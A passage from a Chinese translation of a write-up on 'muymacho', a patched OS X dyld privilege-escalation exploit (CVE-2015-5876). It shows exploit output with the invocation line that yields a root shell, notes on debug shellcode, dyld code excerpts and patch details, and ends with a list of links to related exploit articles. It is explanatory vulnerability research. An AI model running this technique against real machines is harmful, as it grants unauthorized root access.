segment 0x0d vm_addr: 0x7ffe61c1d000 LC_SEGMENT_64: segment 0x0e vm_addr: 0x7ffe60c1d000 LC_SEGMENT_64: segment 0x0f vm_addr: 0x7ffe5fc1d000 LC_SEGMENT_64: segment 0x10 vm_addr: 0x7ffe5ec1d000 LC_SEGMENT_64: segment 0x11 vm_addr: 0x7ffe5dc1d000 LC_SEGMENT_64: segment 0x12 vm_addr: 0x7ffe5cc1d000 LC_SEGMENT_64: segment 0x13 vm_addr: 0x7ffe5bc1d000 LC_SEGMENT_64: segment 0x14 vm_addr: 0x7ffe5ac1d000 LC_SEGMENT_64: segment 0x15 vm_addr: 0x7ffe59c1d000 LC_SEGMENT_64: segment 0x16 vm_addr: 0x7ffe58c1d000 LC_SEGMENT_64: segment 0x17 vm_addr: 0x7ffe57c1d000 LC_SEGMENT_64: segment 0x18 vm_addr: 0x7ffe56c1d000 LC_SEGMENT_64: segment 0x19 vm_addr: 0x7ffe55c1d000 LC_SEGMENT_64: segment 0x1a vm_addr: 0x7ffe54c1d000 LC_SEGMENT_64: segment 0x1b vm_addr: 0x7ffe53c1d000 LC_SEGMENT_64: segment 0x1c vm_addr: 0x7ffe52c1d000 LC_SEGMENT_64: segment 0x1d vm_addr: 0x7ffe51c1d000 LC_SEGMENT_64: segment 0x1e vm_addr: 0x7ffe50c1d000 LC_SEGMENT_64: segment 0x1f vm_addr: 0x7ffe4fc1d000
[+] building payload
[+] dyld_sim successfully created
To exploit enter: DYLD_ROOT_PATH=/Users/user/tmp crontab
[email protected]:~/tmp$ DYLD_ROOT_PATH=/Users/user/tmp crontab
bash-3.2#
0x0A 補丁
EI Capitan對dyld做了很多修改。特別是對dyld_sim檔案驗證更加嚴格,修補了muymacho使用的漏洞。幾種不同的檢查保證了連續的segment都擁有正常的fileoff和vmaddr值。
在本文寫作時,蘋果還沒有釋出EI Capitan的原始碼。但是一些修改可以透過IDA pro來檢視。
0x0B 總結
本節總結了本文的大部分內容。我們已經討論漏洞的發現,問題分析,直到利用。完整的利用程式分享在github。
我希望本文能夠對你有用。這是個有趣的bug,我非常享受編寫muymacho的過程。
謝謝所有修訂本文的人(Pete Markowsky, Ian Melven, Josha Bronson)。同時謝謝@i0n1c釋出的挑戰,是它導致本漏洞的發現。
除錯shellcode
有時候我很好奇到底是哪一個segment在利用執行的過程中起到了作用,面對不同的ASLR地址。實際上,真實的地址也不是那麼重要。但我還是加入了一段debug shellcode來將資訊返回給使用者。
debug shellcode透過“-d”引數來開啟。在muymacho返回‘#’符號後,輸入
#!bash
echo "$MUYMACHO"
可以隨意的看看muymacho的除錯debug shellcode。除錯資訊是透過execve呼叫一個環境變數來傳遞的。
0x0C 附錄
10.10.4及更早
Mac OS X 10.10.4和之前版本就已經新增了DYLD_ROOT_PATH變數。本節討論一下這個老版本的變數和10.10.5的更新。OS X 10.10.4使用dyld-353.2.1裡的dyld.cpp。
在早前的useSimulatorDyld()
函式中,有一個檢查dyld_sim是否被root所有擁有。
#!c
// verify simulator dyld file is owned by root
struct stat sb;
if ( fstat(fd, &sb) == -1 )
return 0;
if ( sb.st_uid != 0 )
return 0;
透過對程式碼段的檢視,發現程式碼簽名的要求是可選的。所以唯一的要求就是一個被root使用者擁有的,沒有簽名都行的dyld_sim檔案,這當然不會形成阻礙。useSimulatorDyld()
將會載入和執行這樣的檔案。
10.10.5更新
10.10.5更新修補了DYLD_PRINT_FILE漏洞(CVE-2015-3760)。可能由於這個變數漏洞被發現的原因,同時也對useSimulatorDyld()函式進行了修改。
dyld_sim不需要再被root擁有,但是程式碼簽名變為了強制要求。下面是dyld.cpp的部分程式碼。
#!c
int result = fcntl(fd, F_ADDFILESIGS_FOR_DYLD_SIM, &siginfo);
if ( result == -1 ) {
dyld::log("fcntl(F_ADDFILESIGS_FOR_DYLD_SIM) failed with errno=%d\n", errno);
return 0;
}
一個新的fcntl命令被加入到10.10.5,針對dyld_sim。下面的程式碼來自/usr/include/sys/fcntl.h
。
#!c
#define F_ADDFILESIGS_FOR_DYLD_SIM 83 /* Add signature from same file, only if it is signed by Apple (used by dyld for simulator) */
dyld_sim需要一個蘋果的數字簽名,僅僅一個開發者證照是不夠的。(譯者注:由於在數字簽名之前就取得了控制權,所以不會進行驗證就到shellcode了)
0x0D CVE號
關於本漏洞的CVE號是這樣的,EI Capitan安全升級列表列出了以下bug資訊。授予了beist:
Dev Tools
Available for: Mac OS X v10.6.8 and later
Impact: A malicious application may be able to execute arbitrary code with system privileges
Description: A memory corruption issue existed in dyld. This was addressed through improved memory handling.
CVE-ID
CVE-2015-5876 : beist of grayhash
同樣的CVE也被列入了iOS 9和watchOS 2的升級資訊中。對iOS 8.4.1中的dyld進行了一個粗略的檢查,沒有發現和muymacho一樣的漏洞。也許是我搞錯了,如果有我會更新到本文。
相關文章
- redis漏洞利用2017-06-21Redis
- ruoyi漏洞利用2024-07-02
- CVE-2013-4547 Nginx解析漏洞深入利用及分析2020-08-19Nginx
- BlueKeep 漏洞利用分析2019-09-20
- 解析OpenSSL漏洞2014-04-09
- 解析漏洞總結2020-08-19
- Google Chrome 開發者工具漏洞利用2020-08-19GoChrome
- ROP漏洞詳解和利用2022-05-10
- 微軟:ProxyShell 漏洞“可能被利用”2021-09-03微軟
- 漏洞利用查詢工具sandi2017-11-14
- 漏洞利用之資訊洩露2024-04-29
- 深入解析DLL劫持漏洞2020-08-19
- 伺服器解析漏洞2018-06-23伺服器
- Metasploit之漏洞利用( Metasploitable2)2020-09-27
- 利用DNS Zone Transfers漏洞工具dnswalk2017-01-03DNS
- WordPress網站漏洞利用及漏洞修復解決方案2019-02-24網站
- RCE(遠端程式碼執行漏洞)原理及漏洞利用2022-03-17
- 網站漏洞檢測解析繞過上傳漏洞2019-09-23網站
- Redis 未授權訪問漏洞利用2017-08-04Redis
- 【漏洞利用】2024Hvv漏洞POC283 個合集分享2024-09-02
- 解析漏洞與檔案上傳漏洞—一對好兄弟2018-03-21
- 利用Perl解析XML檔案2009-01-17XML
- 永恆之藍漏洞利用機制分析2020-08-03
- STRUTS2的getClassLoader漏洞利用2020-08-19
- CRLF Injection漏洞的利用與例項分析2020-08-19
- IORegistryIterator競爭條件漏洞分析與利用2020-08-19
- PHP檔案包含漏洞(利用phpinfo)復現2020-04-24PHP
- Metasploit漏洞利用基礎教程要出版了2019-03-12
- CISA警告駭客利用ZK Java框架RCE漏洞2023-03-01Java框架
- 基於 GDI 物件的 Windows 核心漏洞利用2018-05-09物件Windows
- WebDAV服務漏洞利用工具DAVTest2017-07-27Web
- Linux下堆漏洞的利用機制2016-05-15Linux
- Python2 input函式漏洞利用2024-06-05Python函式
- 檔案上傳(解析)漏洞詳解2020-11-27
- phpcms網站漏洞修復遠端程式碼寫入快取漏洞利用2018-12-03PHP網站快取
- cve-2014-0569 漏洞利用分析2020-08-19
- Linux堆溢位漏洞利用之unlink2020-08-19Linux
- 乾貨丨windows核心www漏洞利用手法2020-02-04Windows